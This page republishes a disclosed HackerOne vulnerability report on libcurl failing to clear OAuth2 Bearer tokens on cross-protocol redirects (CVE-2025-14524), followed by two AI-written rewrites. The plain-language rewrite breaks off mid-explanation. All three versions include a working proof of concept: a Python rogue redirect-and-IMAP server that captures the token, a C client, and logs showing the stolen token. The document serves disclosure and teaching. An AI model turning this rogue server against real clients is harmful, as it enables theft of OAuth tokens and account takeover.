Skip to content
Info disclosure Disclosed report Advanced CVE-2025-14524

CVE-2025-14524: bearer token leak on cross-protocol redirect

libcurl fails to clear the OAuth2 Bearer token when following a redirect to a different host, port, or protocol, unlike standard credentials. An attacker who controls a redirect target can receive the token via SASL authentication on protocols like IMAP, SMTP, or POP3.

anonymous_237 Follow

Originally disclosed on HackerOne

  • Triaged in 45 hours
  • Fixed in 29 days
  • Disclosed after 29 days

Summary:

A vulnerability exists in libcurl regarding the handling of OAuth2 Bearer tokens (CURLOPT_XOAUTH2_BEARER) during HTTP redirects.

While libcurl correctly clears standard authentication credentials (CURLOPT_USERPWD) when following a redirect to a different host, port, or protocol (a security hardening introduced to fix CVE-2022-27774), it fails to apply the same logic to the OAuth2 Bearer token.

If an application using libcurl connects to a trusted server but is redirected to a malicious server (e.g., via an Open Redirect vulnerability) on a protocol supporting SASL (like IMAP, SMTP, or POP3), the valid Bearer token is automatically sent to the attacker. This happens because the token remains in the handle and is reused for the new connection, allowing the attacker to steal the credentials.

AI Statement: This report was researched and generated with the assistance of an AI agent to analyze the libcurl source code and identify inconsistent state management logic. However, the vulnerability has been manually verified, the Proof of Concept code was compiled and executed locally, and the findings have been confirmed against a custom TCP server to ensure validity and reproducibility.

Affected version

The vulnerability was reproduced on the following version:

Text
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

Vulnerable Code Analysis

The issue lies in the HTTP redirect handling logic (typically within lib/http.c, function Curl_http_follow or similar transfer logic depending on the version).

When libcurl detects a redirect that crosses a security boundary (change of host, port, or protocol), it explicitly clears the username and password to prevent leaks. However, it overlooks the Bearer token string.

C
/* Pseudo-code representation of the logic in lib/http.c */

/* ... inside redirect handling ... */
if(!data->set.allow_auth_to_other_hosts && (type != FOLLOW_FAKE)) {
    /* Logic to detect host/port/protocol change */
    
    if(clear) {
        /* CVE-2022-27774 Fix: Clears standard credentials */
        Curl_safefree(data->state.aptr.user);
        Curl_safefree(data->state.aptr.passwd);
        
        /* VULNERABILITY: The OAuth2 Bearer token is NOT cleared here. */
        /* Missing: Curl_safefree(data->set.str[STRING_BEARER]); */
    }
}

Because data->set.str[STRING_BEARER] is not cleared, when the new connection to the redirected URL (e.g., imap://attacker.com) is established, libcurl sees a valid Bearer token in the handle and attempts to use it for SASL authentication (AUTHENTICATE XOAUTH2), leaking the secret.

Steps To Reproduce:

We simulate a scenario where a client connects to a trusted HTTP server but is redirected to a rogue IMAP server controlled by the attacker.

  1. Start the Rogue Server: Run the provided rogue_server.py. It listens on port 8080 (HTTP) and port 1430 (IMAP). It will redirect HTTP requests to the IMAP port with a forced username to trigger SASL authentication.
  2. Compile the Vulnerable Client: Compile poc.c using gcc -o poc poc.c -lcurl. This client sets a Bearer token and enables redirects.
  3. Run the Client: Execute ./poc.
  4. Observe the Leak: The rogue_server.py output will display the stolen Bearer token received on the IMAP port.

Supporting Material/References:

1. Rogue Server (rogue_server.py)

Python
import socket
import threading
import re

def http_redirector():
    host = '127.0.0.1'
    port = 8080
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[HTTP] Redirector listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            req = conn.recv(1024)
            # ASTUCE : On redirige vers "imap://victim@..."
            # Cela donne à curl un utilisateur pour la nouvelle connexion,
            # ce qui lui permet de tenter l'auth SASL avec le token "oublié".
            redirect = (
                "HTTP/1.1 301 Moved Permanently\r\n"
                "Location: imap://[email protected]:1430/\r\n"
                "Content-Length: 0\r\n\r\n"
            )
            conn.sendall(redirect.encode())
            print("[HTTP] Sent 301 Redirect to imap://[email protected]:1430/")

def imap_stealer():
    host = '127.0.0.1'
    port = 1430
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[IMAP] Stealer listening on {host}:{port}")
        
        conn, addr = s.accept()
        with conn:
            print(f"[IMAP] Victim connected from {addr}")
            conn.sendall(b"* OK [CAPABILITY IMAP4rev1 AUTH=XOAUTH2] Rogue Ready\r\n")
            
            while True:
                data = conn.recv(4096).decode('utf-8', 'ignore')
                if not data: break
                print(f"[IMAP] Received: {data.strip()}")
                
                tag_match = re.match(r"^(\w+)\s", data)
                tag = tag_match.group(1) if tag_match else "*"

                if "CAPABILITY" in data.upper():
                    response = f"* CAPABILITY IMAP4rev1 AUTH=XOAUTH2\r\n{tag} OK Capability completed\r\n"
                    conn.sendall(response.encode())
                
                elif "LIST" in data.upper():
                    # On refuse le LIST pour forcer l'auth
                    response = f"{tag} NO [AUTHENTICATIONREQUIRED] Please login first\r\n"
                    conn.sendall(response.encode())

                elif "AUTHENTICATE XOAUTH2" in data.upper():
                    conn.sendall(b"+\r\n")
                    token_data = conn.recv(4096).decode('utf-8', 'ignore')
                    print("\n" + "="*50)
                    print(f"[!!!] STOLEN TOKEN: {token_data.strip()}")
                    print("="*50 + "\n")
                    break

if __name__ == "__main__":
    t1 = threading.Thread(target=http_redirector)
    t2 = threading.Thread(target=imap_stealer)
    t1.start()
    t2.start()

2. Vulnerable Client (poc.c)

Note: CURLOPT_UNRESTRICTED_AUTH is NOT enabled. The credentials should be protected, but the Bearer token leaks.

C
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    const char *secret_token = "MY_SECRET_GOLDEN_TICKET";

    printf("--- PoC V4: OAuth2 Bearer Token Leak on Redirect ---\n");

    curl_global_init(CURL_GLOBAL_ALL);
    curl = curl_easy_init();

    if(curl) {
        // 1. URL HTTP initiale
        curl_easy_setopt(curl, CURLOPT_URL, "http://127.0.0.1:8080/resource");

        // 2. Configuration du Token
        curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, secret_token);
        
        // 3. On met un user initial (optionnel, mais réaliste)
        curl_easy_setopt(curl, CURLOPT_USERNAME, "initial_user");

        // 4. Autoriser la redirection
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        // On autorise explicitement IMAP car les versions récentes de curl
        // sont restrictives sur les protocoles par défaut.
        curl_easy_setopt(curl, CURLOPT_REDIR_PROTOCOLS_STR, "http,https,imap");

        // 5. IMPORTANT : On n'active PAS CURLOPT_UNRESTRICTED_AUTH.
        // Le but est de prouver que le token fuite MÊME quand curl essaie de sécuriser les identifiants.

        // Debug
        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

        printf("[*] Sending request...\n");
        curl_easy_perform(curl);

        curl_easy_cleanup(curl);
    }
    return 0;
}

3. Execution Logs

Output from the rogue_server.py terminal showing the successful theft of the token:

Text

python3 rogue_server.py
[HTTP] Redirector listening on 127.0.0.1:8080
[IMAP] Stealer listening on 127.0.0.1:1430
[HTTP] Sent 301 Redirect to imap://[email protected]:1430/
[IMAP] Victim connected from ('127.0.0.1', 36232)
[IMAP] Received: B001 CAPABILITY
[IMAP] Received: B002 AUTHENTICATE XOAUTH2

==================================================
[!!!] STOLEN TOKEN: dXNlcj12aWN0aW0BYXV0aD1CZWFyZXIgTVlfU0VDUkVUX0dPTERFTl9USUNLRVQBAQ==
==================================================


(Decoded token: user=victim^Aauth=Bearer MY_SECRET_GOLDEN_TICKET^A^A)

Impact

This vulnerability leads to a critical breach of credential confidentiality:

1. Theft of Sensitive OAuth2 Tokens: The primary impact is the exfiltration of the valid Bearer token to an attacker-controlled server. Unlike Basic Auth passwords which might be site-specific, OAuth2 tokens often grant broad access to APIs, user data (emails, files), or Single Sign-On (SSO) sessions.

2. Account Takeover & Impersonation: Armed with the stolen token, an attacker can impersonate the victim against the legitimate service provider (e.g., Gmail, Office 365, or internal APIs). They can perform any action permitted by the token's scope (e.g., reading private emails, modifying data) without the user's knowledge.

3. Bypass of Security Hardening (CVE-2022-27774 Regression): This vulnerability effectively bypasses the security protections introduced in CVE-2022-27774. While libcurl successfully protects legacy user:password credentials from leaking during cross-protocol redirects, it fails to protect modern OAuth2 credentials, leaving applications that rely on libcurl's default security behavior vulnerable.

The original report as published on HackerOne, by anonymous_237. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

curl is a command-line tool and library (libcurl) used by a very large number of applications to make network requests. One of the features it exposes is OAuth2 Bearer token authentication through the CURLOPT_XOAUTH2_BEARER option. When an application sets this option, libcurl stores the token in the easy handle and uses it for SASL authentication (AUTHENTICATE XOAUTH2) on protocols that support SASL, such as IMAP, SMTP and POP3.

libcurl also supports following HTTP redirects. Since the fix for CVE-2022-27774, when a redirect crosses a security boundary (a change of host, port or protocol), libcurl clears the standard username and password credentials so they are not sent to the new destination, unless the application has explicitly opted in with CURLOPT_UNRESTRICTED_AUTH.

The report describes a gap in that protection: the OAuth2 Bearer token is not cleared under the same conditions, so it can be carried over to a redirect target chosen by an attacker.

Setup

The vulnerability was reproduced on this build:

Text
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

The reproduction uses two pieces of local material:

  1. A rogue server (rogue_server.py) that listens for HTTP on port 8080 and for IMAP on port 1430. The HTTP listener answers with a redirect to the IMAP listener, and the IMAP listener impersonates a server that supports AUTH=XOAUTH2 and captures the token.
  2. A vulnerable client (poc.c) that sets a Bearer token, enables redirects, and does not enable CURLOPT_UNRESTRICTED_AUTH.

The client is compiled with:

Bash
gcc -o poc poc.c -lcurl

The report notes that the research was carried out with the assistance of an AI agent to analyse the libcurl source code and identify inconsistent state management logic, but that the vulnerability was manually verified, the PoC was compiled and executed locally, and the findings were confirmed against a custom TCP server.

Finding it

The researcher compared how libcurl treats two kinds of credentials during redirect handling. The redirect logic, described as typically living in lib/http.c (function Curl_http_follow or similar transfer logic depending on the version), detects when a redirect crosses a host, port or protocol boundary and, unless data->set.allow_auth_to_other_hosts is set, frees the stored username and password. The Bearer token string, held in data->set.str[STRING_BEARER], is not freed in the same block.

The report illustrates the logic with pseudo-code:

C
/* Pseudo-code representation of the logic in lib/http.c */

/* ... inside redirect handling ... */
if(!data->set.allow_auth_to_other_hosts && (type != FOLLOW_FAKE)) {
    /* Logic to detect host/port/protocol change */

    if(clear) {
        /* CVE-2022-27774 Fix: Clears standard credentials */
        Curl_safefree(data->state.aptr.user);
        Curl_safefree(data->state.aptr.passwd);

        /* VULNERABILITY: The OAuth2 Bearer token is NOT cleared here. */
        /* Missing: Curl_safefree(data->set.str[STRING_BEARER]); */
    }
}

Because the token stays in the handle, a subsequent connection to the redirect target still sees a valid Bearer token and attempts SASL authentication with it. If the redirect target is a protocol that supports SASL and is controlled by an attacker, the token is sent to the attacker.

Exploitation

The scenario is a client that connects to a trusted HTTP server and is redirected, for example through an open redirect, to a rogue IMAP server. The rogue server forces a username into the redirect URL so that libcurl has a user for the new connection and will attempt SASL authentication with the token that was left in the handle.

Step 1: Start the rogue server

Run rogue_server.py. It listens on port 8080 for HTTP and port 1430 for IMAP.

Python
import socket
import threading
import re

def http_redirector():
    host = '[redacted]'
    port = 8080
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[HTTP] Redirector listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            req = conn.recv(1024)
            # ASTUCE : On redirige vers "imap://victim@..."
            # Cela donne à curl un utilisateur pour la nouvelle connexion,
            # ce qui lui permet de tenter l'auth SASL avec le token "oublié".
            redirect = (
                "HTTP/1.1 301 Moved Permanently\r\n"
                "Location: imap://[redacted]:1430/\r\n"
                "Content-Length: 0\r\n\r\n"
            )
            conn.sendall(redirect.encode())
            print("[HTTP] Sent 301 Redirect to imap://[redacted]:1430/")

def imap_stealer():
    host = '[redacted]'
    port = 1430
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[IMAP] Stealer listening on {host}:{port}")

        conn, addr = s.accept()
        with conn:
            print(f"[IMAP] Victim connected from {addr}")
            conn.sendall(b"* OK [CAPABILITY IMAP4rev1 AUTH=XOAUTH2] Rogue Ready\r\n")

            while True:
                data = conn.recv(4096).decode('utf-8', 'ignore')
                if not data: break
                print(f"[IMAP] Received: {data.strip()}")

                tag_match = re.match(r"^(\w+)\s", data)
                tag = tag_match.group(1) if tag_match else "*"

                if "CAPABILITY" in data.upper():
                    response = f"* CAPABILITY IMAP4rev1 AUTH=XOAUTH2\r\n{tag} OK Capability completed\r\n"
                    conn.sendall(response.encode())

                elif "LIST" in data.upper():
                    # On refuse le LIST pour forcer l'auth
                    response = f"{tag} NO [AUTHENTICATIONREQUIRED] Please login first\r\n"
                    conn.sendall(response.encode())

                elif "AUTHENTICATE XOAUTH2" in data.upper():
                    conn.sendall(b"+\r\n")
                    token_data = conn.recv(4096).decode('utf-8', 'ignore')
                    print("\n" + "="*50)
                    print(f"[!!!] STOLEN TOKEN: {token_data.strip()}")
                    print("="*50 + "\n")
                    break

if __name__ == "__main__":
    t1 = threading.Thread(target=http_redirector)
    t2 = threading.Thread(target=imap_stealer)
    t1.start()
    t2.start()

The HTTP listener accepts one connection, reads the request, and replies with a 301 Moved Permanently whose Location is imap://[redacted]:1430/. The victim@ part supplies a username for the new connection, which is what makes libcurl attempt SASL authentication. The IMAP listener greets the client with a capability line advertising AUTH=XOAUTH2, answers CAPABILITY requests, refuses LIST with [AUTHENTICATIONREQUIRED] to push the client towards authentication, and when it sees AUTHENTICATE XOAUTH2 it sends a continuation (+) and reads the token data that follows.

Step 2: Compile the vulnerable client

Bash
gcc -o poc poc.c -lcurl

The client source is:

C
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    const char *secret_token = "MY_SECRET_GOLDEN_TICKET";

    printf("--- PoC V4: OAuth2 Bearer Token Leak on Redirect ---\n");

    curl_global_init(CURL_GLOBAL_ALL);
    curl = curl_easy_init();

    if(curl) {
        // 1. URL HTTP initiale
        curl_easy_setopt(curl, CURLOPT_URL, "http://[redacted]:8080/resource");

        // 2. Configuration du Token
        curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, secret_token);

        // 3. On met un user initial (optionnel, mais réaliste)
        curl_easy_setopt(curl, CURLOPT_USERNAME, "initial_user");

        // 4. Autoriser la redirection
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        // On autorise explicitement IMAP car les versions récentes de curl
        // sont restrictives sur les protocoles par défaut.
        curl_easy_setopt(curl, CURLOPT_REDIR_PROTOCOLS_STR, "http,https,imap");

        // 5. IMPORTANT : On n'active PAS CURLOPT_UNRESTRICTED_AUTH.
        // Le but est de prouver que le token fuite MÊME quand curl essaie de sécuriser les identifiants.

        // Debug
        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

        printf("[*] Sending request...\n");
        curl_easy_perform(curl);

        curl_easy_cleanup(curl);
    }
    return 0;
}

The client sets the initial URL to http://[redacted]:8080/resource, sets the Bearer token, sets an initial username, enables CURLOPT_FOLLOWLOCATION, and explicitly allows http,https,imap as redirect protocols because recent curl versions are restrictive about protocols by default. It deliberately does not enable CURLOPT_UNRESTRICTED_AUTH, which is the point: the token leaks even though curl is trying to protect credentials.

Step 3: Run the client

The client sends its request to the HTTP listener and follows the redirect to the IMAP listener.

Step 4: Observe the leak

The rogue server output shows the token being received on the IMAP port:

Text
python3 rogue_server.py
[HTTP] Redirector listening on [redacted]:8080
[IMAP] Stealer listening on [redacted]:1430
[HTTP] Sent 301 Redirect to imap://[redacted]:1430/
[IMAP] Victim connected from ('[redacted]', 36232)
[IMAP] Received: B001 CAPABILITY
[IMAP] Received: B002 AUTHENTICATE XOAUTH2

==================================================
[!!!] STOLEN TOKEN: [redacted]==
==================================================

The captured string decodes to user=victim^Aauth=Bearer MY_SECRET_GOLDEN_TICKET^A^A, which is the SASL XOAUTH2 payload containing the token the client was configured with.

Root cause

The redirect handling clears data->state.aptr.user and data->state.aptr.passwd when a redirect crosses a host, port or protocol boundary and allow_auth_to_other_hosts is not set, but it does not clear data->set.str[STRING_BEARER]. The Bearer token therefore survives in the easy handle and is reused for the new connection. When the new connection is to a SASL-capable protocol and a username is present (here supplied by the victim@ part of the redirect URL), libcurl attempts AUTHENTICATE XOAUTH2 and sends the token.

The existing protection from CVE-2022-27774 covers only the legacy username and password fields, so it does not stop this leak. The report describes the issue as a bypass of the CVE-2022-27774 hardening, which protects only the legacy username and password fields.

Impact

The primary impact is exfiltration of a valid OAuth2 Bearer token to an attacker-controlled server. The report notes that, unlike Basic Auth passwords which may be site-specific, OAuth2 tokens often grant broad access to APIs, user data such as emails and files, or Single Sign-On sessions.

With the stolen token, an attacker can impersonate the victim against the legitimate service provider (the report gives Gmail, Office 365 or internal APIs as examples) and perform any action permitted by the token's scope, such as reading private emails or modifying data, without the user's knowledge.

The vulnerability requires that an application using libcurl connects to a trusted server and is redirected to a malicious server, for example through an open redirect, on a protocol supporting SASL such as IMAP, SMTP or POP3.

Fix

The report does not describe a patch. The change it points to is to clear the Bearer token in the same redirect block that clears the username and password, as indicated by the missing line in the pseudo-code:

C
Curl_safefree(data->set.str[STRING_BEARER]);

Variants to test

  1. Redirect to SMTP or POP3 instead of IMAP. A positive result is the rogue server receiving an AUTH XOAUTH2 (SMTP) or AUTHENTICATE XOAUTH2 (POP3) exchange containing the Bearer token after a cross-protocol redirect.
  2. Redirect to a different host or port on the same protocol. A positive result is the token being sent to the new destination even though the username and password were cleared.
  3. Redirect without a username in the URL. This checks whether the SASL attempt depends on a username being present; a positive result is the token still being sent, a negative result is no authentication attempt.
  4. Set CURLOPT_UNRESTRICTED_AUTH. This is the documented opt-in for sending credentials to other hosts; a positive result is the token being sent, which is expected behaviour rather than a finding.
  5. Use a redirect chain that crosses a boundary and then returns to the original host. A positive result is the token being reused after the boundary crossing in a way the standard credentials would not be.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

A piece of software called curl, and the library version of it called libcurl, is used by a huge number of programs to talk to other computers over the internet. Think of it as the postman that many apps hire to carry messages back and forth. One of the things it can carry is a special kind of password called an OAuth2 Bearer token.

A Bearer token is a bit like a cloakroom ticket: whoever holds the ticket gets the coat, no questions asked. If someone else gets hold of your ticket, they can collect your coat. In the same way, whoever holds a Bearer token can use it to act as you, so it must never be handed to the wrong server.

curl has a safety feature: when a server tells it "your request has moved, go to this other address instead" (a redirect), and that other address is a different machine, a different port or a different kind of connection, curl throws away the ordinary username and password so they cannot leak. This safety feature was added after an earlier bug called CVE-2022-27774.

The report shows that this safety feature has a hole. The Bearer token is not thrown away in the same situation. So if an attacker can make a trusted server redirect curl to a server the attacker controls, curl will happily send the secret token to the attacker. The attacker can then use that token to read the victim's email, files or other data, depending on what the token is allowed to do.

The researcher who found this says the analysis of the curl source code was done with the help of an AI agent, but the bug was checked by hand, the demonstration program was compiled and run on a real machine, and the result was confirmed against a small test server.

The setup

The bug was reproduced on this particular build of curl:

Text
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

This block is just an identity card for the software. The first line says the version is 8.5.0, built for a 64-bit Linux machine, and lists the helper libraries it was built with (OpenSSL for encryption, zlib and brotli for compression, and so on). The second line gives the release date and notes that this particular package has security patches applied. The Protocols: line lists every kind of network conversation this build can have: http and https for websites, imap for email reading, smtp for sending email, pop3 for another way of reading email, and many more. The Features: line lists optional abilities such as HTTP2, IPv6 and TLS. The important part for us is that imap, smtp and pop3 are in the list, because those are the protocols that can carry a Bearer token.

The reproduction uses two small programs that run on the same computer:

  1. A rogue server, written in Python in a file called rogue_server.py. It pretends to be two different servers at once: a website on port 8080 and an email (IMAP) server on port 1430. The website part answers with a redirect pointing at the email part, and the email part pretends to accept a Bearer token and records whatever token it is given.
  2. A vulnerable client, written in C in a file called poc.c. It is a tiny program that uses libcurl to make one request, with a Bearer token configured, and with redirects allowed.

The client is compiled (turned from source code into a runnable program) with this command:

Bash
gcc -o poc poc.c -lcurl

gcc is the C compiler. -o poc means "name the finished program poc". poc.c is the source file to compile. -lcurl means "link against the curl library", so the program can call curl's functions. The result is a file called poc that you can run.

Finding the bug

The researcher compared how curl treats two kinds of secret during a redirect. When curl follows a redirect to a different host, port or protocol, it is supposed to forget the old credentials. The code that does this is described as living in a file called lib/http.c, in a function named Curl_http_follow or something similar depending on the version. The code checks whether the application has allowed credentials to go to other hosts (a setting called data->set.allow_auth_to_other_hosts). If it has not, curl frees the stored username and password. But the Bearer token, stored in data->set.str[STRING_BEARER], is not freed in the same place.

The report shows the logic as pseudo-code, meaning simplified code that illustrates the idea rather than the exact original:

C
/* Pseudo-code representation of the logic in lib/http.c */

/* ... inside redirect handling ... */
if(!data->set.allow_auth_to_other_hosts && (type != FOLLOW_FAKE)) {
    /* Logic to detect host/port/protocol change */

    if(clear) {
        /* CVE-2022-27774 Fix: Clears standard credentials */
        Curl_safefree(data->state.aptr.user);
        Curl_safefree(data->state.aptr.passwd);

        /* VULNERABILITY: The OAuth2 Bearer token is NOT cleared here. */
        /* Missing: Curl_safefree(data->set.str[STRING_BEARER]); */
    }
}

Line by line: the first comment says this is a simplified picture of the real code. The if line asks two questions: has the application not allowed credentials to go to other hosts, and is this a real redirect rather than a fake one used internally? If both are true, and if the code has decided the redirect crosses a boundary (if(clear)), then it frees two things: data->state.aptr.user (the username) and data->state.aptr.passwd (the password). Curl_safefree is curl's own helper that releases memory safely. The comment marked VULNERABILITY points out what is missing: there is no matching line to free the Bearer token. The commented-out line shows what the fix would look like.

Because the token is never freed, it stays in curl's memory. When curl then connects to the redirect target, it still sees a valid token and tries to log in with it. If the target is a protocol that supports this kind of login and is controlled by an attacker, the token goes straight to the attacker.

Exploitation

The scenario is simple to describe. A program uses curl to talk to a trusted website. That website, perhaps because of a separate flaw called an open redirect, tells curl to go to an attacker's email server instead. The attacker's server is set up so that curl has a username for the new connection, which makes curl try to log in with the token it still remembers.

Step 1: Start the rogue server

Run rogue_server.py. It listens on port 8080 for website requests and port 1430 for email requests.

Python
import socket
import threading
import re

def http_redirector():
    host = '[redacted]'
    port = 8080
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[HTTP] Redirector listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            req = conn.recv(1024)
            # ASTUCE : On redirige vers "imap://victim@..."
            # Cela donne à curl un utilisateur pour la nouvelle connexion,
            # ce qui lui permet de tenter l'auth SASL avec le token "oublié".
            redirect = (
                "HTTP/1.1 301 Moved Permanently\r\n"
                "Location: imap://[redacted]:1430/\r\n"
                "Content-Length: 0\r\n\r\n"
            )
            conn.sendall(redirect.encode())
            print("[HTTP] Sent 301 Redirect to imap://[redacted]:1430/")

def imap_stealer():
    host = '[redacted]'
    port = 1430
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[IMAP] Stealer listening on {host}:{port}")

        conn, addr = s.accept()
        with conn:
            print(f"[IMAP] Victim connected from {addr}")
            conn.sendall(b"* OK [CAPABILITY IMAP4rev1 AUTH=XOAUTH2] Rogue Ready\r\n")

            while True:
                data = conn.recv(4096).decode('utf-8', 'ignore')
                if not data: break
                print(f"[IMAP] Received: {data.strip()}")

                tag_match = re.match(r"^(\w+)\s", data)
                tag = tag_match.group(1) if tag_match else "*"

                if "CAPABILITY" in data.upper():
                    response = f"* CAPABILITY IMAP4rev1 AUTH=XOAUTH2\r\n{tag} OK Capability completed\r\n"
                    conn.sendall(response.encode())

                elif "LIST" in data.upper():
                    # On refuse le LIST pour forcer l'auth
                    response = f"{tag} NO [AUTHENTICATIONREQUIRED] Please login first\r\n"
                    conn.sendall(response.encode())

                elif "AUTHENTICATE XOAUTH2" in data.upper():
                    conn.sendall(b"+\r\n")
                    token_data = conn.recv(4096).decode('utf-8', 'ignore')
                    print("\n" + "="*50)
                    print(f"[!!!] STOLEN TOKEN: {token_data.strip()}")
                    print("="*50 + "\n")
                    break

if __name__ == "__main__":
    t1 = threading.Thread(target=http_redirector)
    t2 = threading.Thread(target=imap_stealer)
    t1.start()
    t2.start()

This is a Python program, and it runs two jobs at the same time using threads. A thread is a way for one program to do two things concurrently, like a cook working on two pans at once.

The first job, http_redirector, opens a network socket (think of a socket as a telephone line) on [redacted], which is the address meaning "this same computer", on port 8080. A port is like a numbered door on a computer; different services listen at different doors. It waits for one connection, reads up to 1024 bytes of the request, and then sends back a fixed reply. The reply is an HTTP response with status 301 Moved Permanently, which is the standard way a website says "this page has moved". The Location: line tells curl where to go: imap://[redacted]:1430/. The imap:// part means this is an email-reading connection, not a website. The victim@ part is a username, and that is the trick: it gives curl a user for the new connection, which is what makes curl try to log in with the token it still has. The Content-Length: 0 line says the reply has no body. The comments in the code, written in French, say exactly this: the redirect gives curl a user so it will attempt SASL authentication with the forgotten token.

The second job, imap_stealer, listens on port 1430. When curl connects, it sends a greeting line that advertises AUTH=XOAUTH2, meaning "I support logging in with an OAuth2 token". Then it loops, reading whatever curl sends. If curl asks for CAPABILITY (a list of what the server can do), it answers with the same capability line. If curl asks for LIST (a list of mail folders), it refuses with [AUTHENTICATIONREQUIRED], which pushes curl to log in first. When curl finally sends AUTHENTICATE XOAUTH2, the server replies with a single +, which in this protocol means "go ahead, send the login data". It then reads the next chunk, which contains the token, and prints it between lines of equals signs so it is easy to spot.

The final block starts both jobs as threads and runs them together.

Step 2: Compile the vulnerable client

Bash
gcc -o poc poc.c -lcurl

This is the same compile command as before: build poc.c into a program called poc, linking the curl library.

The client source is:

C
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    const char *secret_token = "MY_SECRET_GOLDEN_TICKET";

    printf("--- PoC V4: OAuth2 Bearer Token Leak on Redirect ---\n");

    curl_global_init(CURL_GLOBAL_ALL);
    curl = curl_easy_init();

    if(curl) {
        // 1. URL HTTP initiale
        curl_easy_setopt(curl, CURLOPT_URL, "http://[redacted]:8080/resource");

        // 2. Configuration du Token
        curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, secret_token);

        // 3. On met un user initial (optionnel, mais réaliste)
        curl_easy_setopt(curl, CURLOPT_USERNAME, "initial_user");

        // 4. Autoriser la redirection
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        // On autorise explicitement IMAP car les versions récentes de curl
        // sont restrictives sur les protocoles par défaut.
        curl_easy_setopt(curl, CURLOPT_REDIR_PROTOCOLS_STR, "http,https,imap");

        // 5. IMPORTANT : On n'active PAS CURLOPT_UNRESTRICTED_AUTH.
        // Le but est de prouver que le token fuite MÊME quand curl essaie de sécuriser les identifiants.

        // Debug
        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

        printf("[*] Sending request...\n");
        curl_easy_perform(curl);

        curl_easy_cleanup(curl);
    }
    return 0;
}

Line by line: the first two lines bring in the standard input/output library and the curl library. int main(void) is where the program starts. CURL *curl declares a handle, which is curl's word for a session object; think of it as a clipboard that holds everything about one request. secret_token is the fake token used for the demonstration, set to MY_SECRET_GOLDEN_TICKET. The printf line just prints a banner.

curl_global_init sets up curl's global state, and curl_easy_init creates the handle. The if(curl) checks that the handle was created successfully.

